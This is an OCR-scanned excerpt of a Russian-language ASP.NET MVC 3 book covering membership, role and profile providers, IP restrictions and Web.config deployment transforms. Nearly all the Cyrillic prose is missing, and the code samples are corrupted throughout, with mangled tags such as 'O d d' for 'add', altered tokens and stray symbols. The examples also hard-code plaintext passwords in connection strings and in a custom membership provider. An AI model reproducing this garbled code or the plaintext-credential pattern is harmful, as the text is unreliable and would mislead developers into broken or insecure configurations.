ASP.NET). S e cu rity (),
,
. 22.6.

. 22.6. -

.NET Users

.N E T Users ( .NET) IIS,
- IIS Manager.
.N E T Users IIS Manager W e b .config
, .
, IIS Manager .NET 2 ,
, ASP.NET 4. -

22.

625

IIS Microsoft .NET Users -, .NET 4 .


, IIS,
.NET 2.0 .
, , ,
, .
,
. : \ A u t h M a n a g e r .
W e b . c o n f i g ,
22.7.

22.7. W eb. c o n f i g
<?xml v e r s i o n = " l . " e n c o d i n g = " U T F - 8 " ? >

cconfiguration>
< connectionStrings>
<add n a m e = "A p p lic a t io n S e r v ic e s "

conn^ctionString="data Source=TITAN\SQLEXPRESS;
Initial C a t a l o g = a s p n e t d b ;
Persist
User

Security

Info=True;

ID= a da m ;P assw o rd = ad am "

p r o v i d e r N a m e = " S y s t e m . D a t a .S q l C l i e n t " />


< /connectionStrings>

< s y s t e m .web>
A u t h e n t i c a t i o n mode="Forms">
<forms l o g i n U r l = " ~ / A c c o u n t / L o g O n " t i m e o u t = " 2 8 8 0 " />
< /auth entication >

<membership>
<providers>
<remove n a m e = " A s p N e t S q l M e m b e r s h i p P r o v i d e r " />
<add n a m e = "A s p N etSq lM em b er s h ip P r o v id e r "

t y p e = " S y s tem.Web.Security.Sq l M e m b e r s h i p P r o v i d e r ,
System.Web, V e r s i o n = 2 .0.0.0, Culture=neutral,
PublicKeyToken=b03f5f7fIld50a3a"
c o n n e c t i o n s tringName="ApplicationServices"
application N am e="/"

/>
< /p rov id ers>
</m em b ership >
< / s y s t e m . web>

</configuration>
W e b . c o n f i g .
.
. .NET 2.0
. ,
. , .
, .
IIS M anager, - -
Add A p p lica tio n ( ). -
( A u t h M a n a g e r ) , Physical path ( )
, . 22.7.

626

III. ASP.NET MVC 3

. 22.7.
,
.N ET Framework 2.0. ,
DefaultAppPool.
, IIS Manager.
, , .NET Users
(, 22.8).

. 22.8. IIS .NET Users


,
W A T .


- ,
.
S Q L Server, ,
.

Membershipprovider, 22.8.
,
ValidateUser.

22.

627

22.8.
using System;
using S ystem.Web.Security;
using System.Collections.Generic;
namespace M vc A p p .Infrastructure {
public class SiteMember {
public string UserName { get; set; }
public string Password ( get; set; )

}
public class CustomMembershipProvider : MembershipProvider {
// .
/ / ,
private static List<SiteMember> Members = new List<SiteMember> {
new SiteMember { UserName = "adam", Password = "secret" },
n e w SiteMember { UserName = "steve", Password = "shhhh" }

I-'
public override bool ValidateUser(string username, string password) {
return Members.Exists (m => m.UserName == username && m.Password == password) ,

}
. . . ...

}
)

.
Web. config, .
, ValidateUser,
, ValidateUser, Notlmplemented.

. 22.8 ,
.NET Users, .
.NET,
(GAC)
A d m i n s t r a t i o n .config. ,
.NET Users
, .NET 2.0.


Web. config , 22.9.
2 2 .9 . W e b . c o n f i g
cconfiguration>
<system.web>
<authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880" />
</authentication:
membership def a u l t P r o v i d e r = " M y M e m b e r s h i p P r o v i d e r " >
<providers>
<clear/>

628

III. ASP.NET 3

<add name="MyMembershipProvider"
type="MvcApp.Infrastructure.CustomMembershipProvider"/>
</providers>
</membership>
</system.web>
</configuration>

Membership. 22.10
For m s A u t h P r o v i d e r SportsStore,
Membership.

22.10.
using System.W e b .Security;
using SportsStore.W e b U I .Infrastructure.Abstract;
namespace SportsStore.W e b U I .Infrestructure.Concrete {
public class FormsAuthProvider : IAuthProvider {
public bool Authenticate(string username, string password)

bool result = Membership.ValidateUser(username, password);


if (result) {
FormsAuthentication.SetAuthCookie(username, false);

(
return result;

}
}
}
( )
.


,
( ),

( ). , , ..
, .

,
. ASP.NET :
, -
, .
. ,
:
Approv e d M e m b e r ( )
C o m m e ntsModerator ( )
SiteAdministrator ( )

, , ,
,
SiteAdministrator.

22.

629

, ..
S i t e A d m i n i s t r a t o r
CommentsModerator ApprovedMember.
,
. , ASP.NET
: API- (
R o le P r o v id e r ) . ,
.
. MVC Framework .

13.

SqlRoleProvider
S q l R o l e P r o v i d e r SqlM em bershipProvider
. MVC Framework
I n t e r n e t A p p l i c a t i o n , Visual Studio
Web. c o n f i g S q lR o l e P r o v i d e r , 22.11.

22.11. S q lR o le P r o v id e r , Visual Studio


< c o n fig u ra tio n >
<system.web>
<roleManager e n a b le d = " fa ls e " >
<provid ers>
cclear/ >
<add n a m e - "A 3 p N e t S q lR o le P r o v id e r "

type="S ystem .Web. S e c u r i t y . S q lR o le P ro v id e r "


co n n ectio n S trin gN am e="A pplica tion S ervices"
applicatio nNam e="/" />
<add name="AspNetWindowsTokenRoleProvider"
type="System.W eb.Security.W indowsTokenRoleProvider"
applicationName="/" />
</providers>
</roleManager>
</c o n fig u ra tio n >
,
. S q l R o l e P r o v i d e r ro leM anager
:
<roleManager enabled t r u e " d e fa u lt P r o v id e r = " A s p N e t S q lR o le P r o v id e r ">

. A s p N e t S q l R o l e P r o v i d e r ,
S q l M e m b e r s h i p P r o v i d e r ,
, .
S q lM em bersh ipProvid er, .

Windows,
A sp N etW in d o w s T ok en R oleP ro vid er
Active Directory.

630

III. ASP.NET MVC 3


,
: -,
WA.T , .NET Users IIS Manager
. -
, . 22.9.

. 22.9. .NET Users IIS Manager


Web. config
,
:
<roleManager enabled="true" defaultProvider="AspNetSqlRoleProvider"?
<providers>
<clear/>
O d d name="AspNetSqlRoleProvider"
type="System.Web.Security.SqlRoleProvider,
System.Web, Version=2.0.0.0, Culture=neutral,
P ub licK eyT oken = b0 3 f5 f7 f lld 5 0 a 3 a "

c onn e c t i o n S t r i n g N a m e = " A p p l i c a t i o n S e r v i c e s "


a p p l i c a t i o n N a m e = / " />
</ p r o v i ders>

</roleManager>


,
RoleProvider. 22.12

22.12.
using System;
using System.W e b .Security;
namespace M v c A p p .Infrastructure {
pub l i c class C u s t o m R o l e P r o v i d e r : R o l e Provider {

public override str i n g [] GetRolesForUser(string username) {


if (username -- "adam") {
return new string[] { "CommentsModerator", "SiteAdministrator" };

22.
} else

if

(usernam e ==

return
} else

"steve")

631

n e w s t r i n g []

{ "A pp ro ved U ser",

new

"Com m entsModerator"

};

r e tu rn

s t r i n g []

};

}
}
. . .

...

}
}

G e t R o l e s F o r U s e r . ,
R o l e P r o v i d e r :
N o t l m p l e m e n t e d E x c e p t i o n . WAT
.NET Users, .
W e b . c o n f i g ,

22.13.
t

2 2 . 13 . W eb . c o n f i g
< configuration>
< sy stem .w e b>
< a u th e n tic a tio n
<forms

m ode="Form s">

loginU rl= "~ /A ccount/L ogO nM tim eo u t= "2 880"

/>

< /auth entication >


<m em bership d e f a u l t P r o v i d e r = "M y M e m b e r s h i p P r o v i d e r ">
<providers>
< clear/>
O d d

n am e="M yM em bershipProvider"
t y p e = "M v c A p p . I n f r a s t r u c t u r e . G u st o m M e m b e r s h ip P r o v id e r " />

< /p rov id ers>


< /m em bership>

C ro le M a n a g e r e n a b le d = " tr u e " d e fa u ltP r o v id e r = " M y R o le P r o v id e r " >


< p r o v id e r s >
<clear/>
<add name="MyRoleProvider"
type="MvcApp.Infrastructure.CustomRoleProvider"/>
</providers>
</roleManager>
< / s y s t e m . web>
< /configuration>


,
. - ,
( , ,
),
,
.

632

III. ASP.NET MVC 3

,
S q l R o l e P r o v i d e r ,
.

, ,
.
SqlM em bershipProvider

SqlProfileProvider
Visual Studio W e b . c o n f i g ,
S q l P r o f i l e P r o v i d e r MVC
I n t e r n e t A p p l i c a t i o n . 22.14.
, W e b . c o n f i g E m p t y
. ,
S q l P r o f i l e P r o v i d e r .

22.14. S q l P r o f i l e P r o v i d e r
<C>nf i g u r a t i o n >
< sy stem .w e b>

<profile>
<providers>
<clear/>
<add name="AspNetSqlProfileProvider"
type="System.Web.Profile.SqlProfileProvider"
connectionstringName="ApplicationServices"
applicationName="/" />
</providers>
</profile>
< / s y s te m .w e b >
< / c o n fig u r a tio n >

,
,
, .
p r o f i l e W e b . c o n f i g p r o p e r t i e s ,
22.15.

22.15.
<profile>
<providers>
< clea r/>
<add n a m e - "A s p N e t S q l P r o f i l e P r o v id e r "
t y p e = "S y s t e m .W e b .P r o file . Sq lPro fileP ro vid er"
connectionStringN am e="ApplicationServices"
a p p lic a tio n N a m e= "/"

/>

< /p rov id ers>

<properties>
<add name="Name" type="String"/>
<group name="Address">
<add name="Street" type="String"/>
<add name="City" type="String"/>
<add name="ZipCode" type="String"/>

22.
<add name="State"

633

type="String"/>

</group>

< /p r o p e r t i e s >

< / p r o file >


,
, , .
, .NET,

, .. S q l P r o f i l e P r o v i d e r ,
,
.
- ASPNET
-, .
MVC Framework,
H t t p C o n t e n t .P r o f i l e C o n t r o l l e r ,
22.16.

22.16.
pub l i c A c t i o n R e s u l t I n d e x () {
V i e w B a g . N a m e = H t t p C o n t e x t . P r o f i l e [ " N a m e " ];
V i e w B a g . C i t y = H t t p C o n t e x t .P r o f i l e .GetPr o f i l e G r o u p ( " A d d r e s s " ) [ " C i t y " ] ;
return V i e w ();

}
[HttpPost]
p ub l i c V i e w R e s u l t I n d e x (string name, string city)

H t t p C o n t e x t .P r o f i l e [" N a m e ] = name;
H t t p C o n t e x t .P r o f i l e .GetProfileGroup(" A d d r e s s " ) [ " C i t y " ] = city;
return V i e w ();

}
ASP.NET

. ,
.



. ,
, . ,
, 22.17.

22.17.
<configuration>
<system.web>

<anonymousIdentification enabled="true"/>
<profile>
<providers>
<c l e a r / >

634

III. ASP.NET 3

<add name="AspNetSqlProfileProvider"
type="System.Web.Profile.SqlProfileProvider"
connectionStringName="ApplicationServices"
applicationName="/" />
</providers>
<properties>
<add name="Name" type="String" allowAnonymous="true"/>
<group name="Address">
' o d d name="Street" type="String"/>
O d d name="City" type="String" a llo w A n o n y m o u s = "tru e "/>
O d d name="ZipCode" type="String"/>
O d d name="State" type="String"/>
</group>
</properties>
</profile>
</system.web>
</configuration>

, ASP.NET
, c o o k ie -H a 6 o p .ASPXANONYMOUS,
10 ( 70 ).
a l l o wAnonymous true;
Name City.

, :

.


,
P r o f i l e P r o v i d e r . WAT
.NET Profiles IIS Manager,
G etPropertyValues () SetPropertyValues () , 22.18.

22.18.
using
using
using
using
using

System;
System.Collections.Generic;
System.Configuration;
System.Linq;
System.Web.Profile;

namespace M v c A p p .Infrastructure {
public class CustomProfileProvider ; ProfileProvider {
private IDictionary<string, IDictionary<string, o b j e c t data =
new Dictionary<string, IDictionary<string, o b j e c t ();
public override SettingsPropertyValueCollection GetPropertyValues(
SettingsContext context, SettingsPropertyCollection collection) (
SettingsPropertyValueCollection result =
new SettingsPropertyValueCollection();
IDictionary<string, object> userData;
bool userDataExists
= data.TryGetValue((string)context["UserName"], out userData);

22.

635

foreach (SettingsProperty prop in collection) {


SettingsPropertyValue spv = new SettingsPropertyValue(prop);
if (userDataExists) (
spv.PropertyValue = userData[prop.Name];
}
result.Add(spv);
}
return

resu lt;

}
public override void SetPropertyValues(SettingsContext context,
SettingsPropertyValueCollection collection) (
strin g

userName =

(s t r i n g ) c o n t e x t [ "UserName"];

if (!string.IsNullOrEmpty(userName)) {
data[userName] = collection
.Cast<SettingsPropertyValue>()
.ToDictionary(x => x.Name, x => x .PropertyValue) ;
}
)
.. . " ...
}
}

, ,
- , .
, Web.config,
22.19.

22.19.
< configuration>

<c o n n e c t i o n S t r i n g s >

<add name="ApplicationServices"
connectionString="data Source=TITAN\SQLEXPRESS;
Initial Catalog=aspnetdb;
Persist Security Info=True;
User ID=adam;Password=adam"
providerName="System.Data.SqlClient" />
</connectionstrings>
<system.web>
Authentication mode="Forms">
<forms loginUrl="~/Account/LogOn" timeout="2880" />
</authentication>
<membership defaultProvider="MyMembershipProvider">
<providers>
<clear/>
<add name="MyMember3hipProvider"
type="MvcApp.Infrastructure.CustomMembershipProvider"/>
</providers>
</memborship>
<roleManager enabled="true" defaultProvider="MyRoleProvider">
<providers>
<clear/>

636

III. ASP.NET MVC 3


<add name="MyRoleProvider"
type="MvcApp.Infrastructure.CustomRoleProvider"/>
</providers>
</roleManager>
<profile enabled="true" defaultProvider="MyProfileProvider">
<providers>
<clear/>
O d d name="MyProfileProvider"
type="MvcApp.Infrastructure.CustomProfileProvider"

/>
</providers>
<properties>
O d d name="Name" type="String"/>
<group name="Address">
O d d name="Street" type="String"/>
O d d name="City" type="String"/>
O d d name="ZipCode" type="String"/>
<add name="State" type="String"/>
</group>
* </properties>
</profile>
< / s y s te m .w e b >

</configuration>


URL
ASP.NET URL-
,
URL. , ASPX /Admin/ ,
URL,
/Admin/* - . ,
- /A dm in/Login. aspx.
MVC Framework,
, 11, URL-
. ASP.NET MVC
A uthorize (. 13).
URL, MVC-
URL (, URL
/Admin/). ,
Admin ,
? ?
. URL

URL-. , UserAccountsController
Admin, , URL /Admin/UserAccounts, URL.

/UserAccounts.

22.

637


, URL,
[Authorize]
, .


IP-
,
URL- IP- , .

IP-
: .
-, URL,
MVC Framework.
-, ,
.
, , ,
, .
VPN, . ,
, -
. ,
.

22.20 Web. c o n fig ,


IP- .

22.20.
<configuration>
< lo c a tio n

p a t h "H om e">

<system.webServer>
<security>
<ipSecurity enableReverseDns="true">

< clea r/ >


O d d ipAddress=" 192 .18 8 .100 .1" />

O d d ip A d d r e s s = "l69.25 4 .0 .0 " subnetMask="255.2 5 5 .0 .0"/>


o d d domainName="mydomain.com"/>
<remove domainName="otherdomain.com"/>
</ipSecurity>
</security>
</system.webServer>
< / lo c a tio n >

</configuration>

~/Home
path l o c a t i o n .

. system .W eb server, system , web.

638

III. ASP.NET MVC 3

ipSecurity.
IP- ,
, enableReverseDns true.
, ..
DNS ,
.
cle a r ,
add remove .
, .. add remove , .
add , , ,
<add ipAddress="192.188.100.1"/>

IP- 192.188.100.1,
<remove domainName="otherdomain.com"/>

, o therdomain.com .
, ,
.

, ASPNET
MVC-
, , ,
.
ASP.NET ,
MVC-, .

23

,
, . ,
IIS, ,
M V C -.
IIS, , - www. iis .net.


,
.
, .
,
-
. ,
ASP.NET ,
,
.


M V C - IIS,
,

.
.
. S p o r t s S t o r e
S p o r t s S t o r e .WebUI.
. S p o r t s S t o r e .Domain
WebUI, , SportsStore .UnitTests,
.


15, Razor
, Visual Studio.

, .
,
.

640

III. ASP.NET MVC 3

,
.
( .csp r o j)
M vcBuildViews true, 23.1.

23.1. M v c B u i l d V i e w s
<PropertyGroup>
. . . . . .

<MvcBuildViews>true</MvcBuildViews>
< / P r o p e r t y Group>

Visual Studio,
. Reload (),

.
. .
, .


W e b . c o n f i g ,
c o m p i l a t i o n ,
23.2.

23.2. c o m p i la t io n W eb. c o n f ig
<configuration>
<!-- . -->

<system.web>
<compilation debug="true" targetFramework="4.0">
<assemblies>
<add assembly="System.Web.Abstractions, Version=4.0 ...

, Razor .NET
. c o m p i l a t i o n Web. c o n f i g
: d e b u g () r e l e a s e (). d e b u g
, :
,
;
, :
- ,
:
, .

23.

641

,
. ,
debug false:
< com pilation

debug="false"

tar g etF r a m ew o r k = "4 . 0">

IIS 7.x
.NET Compilation IIS Manager,
W e b .config. IIS Manager,
.NET Compilation ( .NET) ASP.NET.
, Deb u g False,
Apply (), . 23.1.

. 2 3 .1 . .NET Compilation

bin-
IIS,
ASP. NET 4, 3 MVC Framework.
- (bin deployment), .NET-,
MVC Framework, /bin.
Visual Studio 2010 SP1
bin- .
A d d
Deployable Dependencies ( ).
A S P .N E T MVC, . 23.2. , ,
.

. 2 3 .2 . ASP.NET MVC
21 . 4039

642

III. ASP.NET MVC 3

V isu a l S tu dio
_ b i n _ d e p l o y a b l e A s s e m b l i e s , ,

ASP.NET MVC 3 Razor.


b i n ,
. ,
, , (GAC)
ASP.NET MVC 3.

W eb. c o n f i g

W e b . C o n f i g . ,
,
. Visual Studio ,
W e b .c o n f i g
.
! W e b .c o n f i g

, .
Visual Studio.
W e b .c o n f i g , ,
, : W e b .D e b u g .c o n f i g W e b .R e l e a s e .c o n f i g
(. 23.3).

. 23.3. W e b . c o n f i g

Debug () Release
(), Visual Studio, . 23.4.

. 23.4.

,
, W e b . .c o n f i g
W e b .config. 23.3
. W e b .R e l e a s e .c o n f ig,
Sp o r t s S t o r e .

23.

643

23.3. W eb. c o n f ig
<?xml version="l.0"?>
C o n f i g u r a t i o n xmlns:xdt="http://schemas.microsoft.com/XML-DocumentTransform">
<connectionStrings>
O d d name="SportsStoreEntities"
connectionString="metadata=res://*/Concrete.ORM.SportsStore.csdl|
r e s ://*/Concrete.O R M .SportsStore.ssdl|

r e s ://*/ C o n c r e t e . O R M . S p o r t s S t o r e .m s i ; p r o v i d e r = S y s t e m . D a t a .SqlClient;
p r o v i d e r c o n n e c t i o n s t r i n g - S q u o t ; D a t a S o u r c e .\SQLEXPRESS;
Initial C a t a i o g = S p o r t s S t o r e ;P e r s i s t S e c u r i t y I n f o = T r u e ;U s e r I D adam;
Password=adam;MuitipleActiveResultSets=True&quot;"
providerName="System.Data.EntityClient"
xdt:Transform="SetAttributes" x d t :Locator="Match(name)"/>

</connectionStrings>
<system.web>
<compiiation x d t :Transform="RemoveAttributes(debug)" />
</system.web>
</configuration>

.
T i t a n .
,
W i n - 2 0 0 8 R 2 . W e b . c o n f i g
.
, Entity Framework ,
T ita n .
! ,

a d a m . , ,
, .

debug
( ).
,
W e b .config, , 23.3.


W e b . c o n f i g .
c o n f i g u r a t i o n ,
, .
c o n n e c t i o n S t r i n g s ( c o n f i g u r a t i o n ) ,
s y s t e m . w e b ( c o n f i g u r a t i o n ) . ,
,
23.4.

644

III. ASP.NET MVC 3

2 3 .4 .
<?xml v e r s i o n = " l . 0 " ? >
c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m /X M L - D o c u m e n t - T r a n s f o r m ">
<connectionStrings>

... ...
< /connectionStrings>
< s y s t e m . web>
. . .

...

< /s y s te m .w e b >

</configuration>

,
, . ,
, ,
:
c o m p i l a t i o n x d t :Transform="RemoveAttributes(debug)" />

' Trans f o r m ,
compilation W e b .config.
RemoveAttributes debug. ,
debug compilation. W e b .config

C o m p i l a t i o n debug="true" targetFramework="4.0">

Release,

c o m p i l a t i o n targetFramework="4.0">
. 23.1.

23.1. W eb. c o n f ig

insert

W e b .c o n fig

InsertBefore
insertAfter

Remove

RemoveAll

RemoveAttributes

SetAttributes

Replace

.
,
23.5. ,
.
. Web. config,
.

23.

645

2 3 .5 . W e b . c o n f i g
<?xml version="l."?>
<configuration>
<connectionStrings>
<add name="SportsStoreEntities"
connectionString="provider connection string=
Squot;Data Source=TITAN\SQLEXPRESS; User ID=adam; Password=adam; Squot;"
providerName="System.Data.EntityClient" />
</connectionStrings>
<system.web>
<compilation debug="true" targetFramework="4.0">
<assemblies>
<add assembly="System.Web.Abstractions, Version=4.0.0.0, Culture=neutral" />
<add assembly="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />
</assemblies>
</compilation>
</system.web>
</configuration>



In s e r t . 23.6.

23.6.
<?xml v e r s i o n = " l . 0"?>
C c o n fig u ra tio n

x m ln s : x d t = " h t t p : / / schemas . m i c r o s o f t . c o m /X M L -D o c u m e n t-T ra n s fo rm " >

< c o n n e c tio n S trin g s >

<add name="NewConnection"
c o n n e c t io n S t r in g = " M y C o n n e c t io n S t r in g "

x d t :T ra n s fo rm = " In s e rt " />

< /c o n n e c tio n S trin g s >


< /c o n fig u ra tio n >

23.7.

23.7.
<?xml version="l.0"?>
<configuration>
connectionstrings>
<add name="SportsStoreEntities"
connectionString="provider connection string=
&quot;Data Source=xTITAN\SQLEXPRESS;User ID=adam;Password=adam;Squot; "
providerName="System.Data.EntityClient" />
<add name="NewConnection" connectionString="MyConnectionString"/>
< / c o n n e c tio n S trin g s >

<system.web>
compilation debug="true" targetFramework="4.0">
<as5embiies>
<add a55embly-"System.Web.Abstractions, Version=4.0 .0 .0, Culture=neutral" />
<add assembiy="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />
</asseirblies>

</com pilation>
</system.web>
</configuration>

646

III. ASP.NET MVC 3

23.7,
W e b . c o n f i g . , ,
.
I n s e r t B e f o r e I n s e r t A f t e r , 23.8.

23.8. In s e r t B e f o r e I n s e r t A f t e r
<?xmi v e r s i o n = " l . 0 "? >
c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . co m /X M L - D o c u m ent- T r an s fo rm ">
< connectionStrings>

<add name="NewConnection" connectionString="MyConnectionString"


x d t :Transform=
"InsertBefore(/configuration/connectionstrings/add[@name='SportsStoreEntities'])"/>
<add name="OtherConnection" connectionString="MyOtherConnectionString"
x d t :Transform=
"InsertAfter(/configuration/connectionStrings/add[@name='NewConnection'])"/>
< /connectionStrings>
< /co nfigu ratio n>

I n s e r t B e f o r e I n s e r t A f t e r ,
W e b . c o n f i g , .
X P a t h ,
W e b . c o n f i g :
/c o n fig u r atio n /c o n n e ctio n S trin g s /a d d

a d d ,
c o n f i g u r a t i o n
. , ,
:
connectionStrings,

/ c o n f ig u r a t io n /c o n n e c t io n S t r in g s /a d d [ @ n a m e = 'N e w C o n n e c t io n ']

a d d ,
n e w C o n n e c t i o n . 23.9
W e b . c o n f i g .

23.9. I n s e r t B e f o r e I n s e r t A f t e r
<?xml v e r s i o n = " l . 0 " ? >
< configuration>
<connectionStrings>

<add name="NewConnection" connectionstring="MyConnectionString"/>


<add name="OtherConnection" connectionString="MyOtherConneetionString"/>
<add n a m e = "S p o r t s S t o r e E n t i t i e s "
c o nn ec tio n S trin g = "p ro v id e r connection
sq u o t;D a ta

string=

Source=TITAN\SQLEXPRESS; User lD = a d a m ;P a s s w o r d = a d a m ;s q u o t;"

p rov id erN a m e= "S y stem .D a ta . E n t it y C lie n t "

/>

< /co n n ectio n Strin g s>


sy stem .w eb >
com pilation

d ebug="true"

t a r g etF ra m ew o rk = "4. 0">

<assem blies>
<add a s s e m b l y = " S y s t e m . W e b . A b s t r a c t i o n s ,
<add a s s e m b l y = "S y s t e m .W e b .H e l p e r s ,
< /assem blies>
< /com pilation>
< / sy stem .w e b >
< /co nfigu ratio n>

Version=4.0 . 0 . 0 ,

Version=l.0 .0 .0 ,

Culture=neutral"

Culture=neutral"

/>
/>

23.

647


Remove,
23.10.

23.10. Remove
<?xml version="l.0"?>
configuration xmlns:xdt"http://schemas.microsoft.com/XML-Document-Transform">
system.web>
<compilation>

<assem blies>
O d d xdt:Transform ="Rem ove"/>
</assem blies>
</compilation>
</system.web>
</configuration>

Remove add
a ssem b ly. .
23.11.

23.11. Remove
<?xml v e r s i o n = " l . 0"?>
c c o n fig u ra tio n >
<con n ection S trin gs>
o d d n a m e= "S p o rts S to reE n tities"
c o n n e c tio n S trin g = "p ro v id e r connection s trin g =
squot;D ata Source=TlTAN\SQLEXPRESS; User lD=adam;Password=adam;squot;"
p rovid erN am e= "S ystem .D ata .E n tityC lien t" />
</con n ection S trin gs>
s y s te m . web>
c o m p ila tio n d eb u g="tru e" targetFram ew ork="4, 0">
assem b lies>
O d d assembly="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />

</assem blies>
</com pilation>
/ system .web>
</c o n fig u ra tio n >

Rem oveAll, .


S e t A t t r ib u t e s R em o v eA ttrib u te s
Web. c o n fig , 23.12.

23.12.
<?1 v e r s i o n - " l . 0"?>
c o n fig u ra tio n xmlns: x d t - " http://schem as.m icrosoft. com/XML-Document-Transform">
c o n n e c tio n S trin g s >

648

III. ASP.NET MVC 3

<add name="SportStoreEntities" xdt:Transform="SetAttributes(connectionString)"


connectionString="MyNewConnection"/>
< /connectionStrings>
< sy stem .w e b>

<compilation x d t :Transform="RemoveAttributes(targetFramework)"

/>

< /sy stem .w e b>


< /co nfigu ratio n>

,
targetF ra m ew ork c o m p ila tio n .
23.13 .

23.13.
<?xml v e r s i o n = " l . 0 " ? >
<configuration>
< connectionStrings>
. O d d

n am e="Spo rtsSto reEntities

connectionString="MyNewConnection"
providerName="System.Data.EntityClient" />
< /connectionStrings>
< s y s t e m . web>

<compilation debug="true">
<assem blies>
O dd

a ssem b ly = "Sy ste m .W eb .A b stra ct io n s,

O d d

a s s e m b ly = "S y s te m .W e b .H e lp e r s ,

Version=4.0 .0 .0 ,

Version=l.0 .0 .0 ,

Culture=neutral"

Culture=neutral"

/>
/>

< / assem blies>

</compilation>
< /sy stem .w e b>

</configuration>


R e p l a c e
23.14.

W e b . config,

23.14.
<?xml v e r s i o n = " l . 0 " ? >
< c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . com /XM L- Docum ent- Transform ">

<connectionstrings x d t :Transform=Replace">
O d d name="MyFirstConnection" connectionString="MyConnectionl"/>
<add name="MySecondConneetion" connectionString="MyConnection2"/>
O d d name="MyThirdConnection" connectionString="MyConnection2"/>
< / connectionstrings>
< /configuration

W e b . c o n f i g c o n n e c t i o n S t r i n g s
, .
W e b . c o n f i g 23.15.

23.

649

23.15.
<?xml version="l.0"?>
<configuration>
<connectionStrings>
<add name="MyFirstConnection"

connectionString="MYConnectionl"/>

<add name="MySecondConnection" connectionString="MyConnection2"/>


<add name="MyThirdConnection" connectionString="MyConnection2"/>
</connectionStrings>
< system.web>
<com pilation d e b u g = "t r u e "

targ etF ra m ew o rk = "4. 0">

<assemblies>
<add assembly=''System. Web .Abstractions, Version=4.0.0.0, Culture=neutrai" />
<add assembly="System.Web.Helpers, Version=l.0.0.0, Culture=neutral" />
</assemblies>
</compilation>
< / s y s t e m . web>

</configuration>

Locator
L o c a t o r
. 23.16, L o c a t o r .

23.16.
<?xml v e r s i o n = " l . 0"?>
< c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m /XM L- Docum ent- Transform ">
< s y s t e m . web>
com pilation d ebu g="tru e"

targetFram ew ork= 4 . 0">

<assem blies>
<add x d t : T r a n s fo r m = "R e m o v e "/>

< / a s s e m b lie s >


< / c o m p ila tio n >
< /sy 3tem .w e b>
< /configuration>

, add a s s e m b l i e s
. ,
Web. c o n f i g Remove
. R e m o v e A ll .
( ) ,
, L o c a t o r . 23.17
L o c a t o r .

23.17. L o c a to r
<?xml v e r s i o n = " l . 0"?>
c o o n f ig u r a t io n xm lng: xd t= "h t t p : / / s c h e m a s .m ic r o s o ft. com/XML-Document-Transform">
< sy ste m . web>
C o m p i l a t i o n debug-"true" targetFramework="4.0">

650

III. ASP.NET MVC 3


<assem blies>

<add x d t :Transform="Remove"
xdt:Locator="Condition(contains(@assembly,'Helpers'))" />
< / a s s e m b li e s >
< /c o m pilatio n >

/system .w eb >
/configuration

, Locator,
, assembly ,
Helpers.
. / configuration/compilation/
a s s e m b l i e s / a d d assembly. Locator
, . 23.2.

23.2. L o c a to r

Condition

x d t : Locator=
"C onditio n

XPath

( ) "

x d t : Locator" X P a t h ( ) " '

M atch

x d t : Locator=
" M a t c h (

) "


X P a t h


X P a t h
,
,

C o n d itio n
XPath, co n ta in s s t a r t s - w it h . ,
o r and ( 23.18).

23.18. XPath Expressions


L o c a t o r C o n d it i o n
<?xml v e r s i o n = " l . 0"?>
c o n fig u ra tio n xm lns:xdt="h t t p : //schem as.m icrosoft.com/XML-Document-Transform">
<co n n e c tio n S trin g s
O d d x d t : T ra n s fo rm = "S e tA ttrib u te s ( co n n ectio n S trin g) "
conn ectionS trin g="M yC onn ection"
x d t : Locator=
"Condition(starts-with(@name, Sports') and contains(@providerName, 'Entity'))"/>

</c o n n e c tio n S trin g s


/ c o n fig u r a tio n

. XPath,
, , w w w .w3 .org/TR/
xpath.

23.

651

XPath XPath,
. 23.19 ,
23.18.

23.19. XPath
<?xml v e r s i o n = " l . 0 " ? >
< c o n f i g u r a t i o n x m l n s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . c o m /X M L- Docum ent- Transform ">

<connectionStrings>
O d d

x d t : Transfo rm ="SetAttribu tes(co n nectio n String)"


connectionString="M yConnection"
x d t : Locator=

"X P ath (/c o n figu ratio n /c o n n ec tio n Strin gs/a dd [sta rts- w ith (@ n a m e,
contains(0providerN am e,

' S p o r t s ')

and

'E n t it y ') ] ) " / >

</connectionStrings>
< /co nfigu ratio n>

,
M a t c h , 23.20.

23.20. L o c a to r M a tc h
<?xml v e r s i o n = " l . 0 " ? >
< c o n fig u ra tio n

x m ln s : x d t = " h t t p : / / s c h e m a s . m i c r o s o f t . co m / X M L -D ocu m en t-T ran sform ">

<connectionStrings>
O d d

x d t : T r a n s f o r m " S e t A t t r i b u t e s (c o n n e c t i o n S t r i n g ) "
connectionString="M yConnection"
x d t :L o c a to r= "M a tc h (n a m e , p ro v id e rN a m e )"
n a m e = "S p o rts S to re E n titie s "
p ro v id e rN a m e = "S y s te m . D a ta .E n t i t y C l i e n t "/>

< /c o n n ectio n Strin g s>


< / c o n fig u ra tio n >

M a t c h
W e b . c o n f i g ,
, , .
n a m e p r o v i d e r N a m e ,
, / c o n f i g u r a t i o n /
c o n n e c t i o n S t r i n g s / a d d , , S p o r t s S t o r e E n t i t i e s ,
p r o v i d e r N a m e , S y s t e m . D a t a . E n t i t y C l i e n t .


,
.
/
.

! ,
. ,
, .

652

III. ASP.NET MVC 3

R e l e a s e
, . 23.4,
(Configuration Manager),
Build ().

Properties ().
. Package/Publish Wob (/
) Include all databases configured in Package/
Publish SQL tab ( , /
SQL), . 23.5.

. 23.5.
Package/P ublish SQL (/ SQL).
, .
Import from Web.config ( W e b .config)
, . 23.6.

. 23.6. Web .config



. , ..
W e b .config , .
, ,
Add ().
Cobqt. ,
, SportsStore
.

23.

653

W in ~ 2 0 0 8 r 2 .
, Visual Studio Web . c o n f i g ,
, . 23.7.

. 23.7.
,
.
, ,
.
.
Bpw ra . ; / t i - /.
'?, ..
" W e b . c o n f i g
.

, .
, , . 23.8.

. 23.8.
. SQL-,
,
. , , ,
, (,
), .
, ,
, .
,
, ..
,
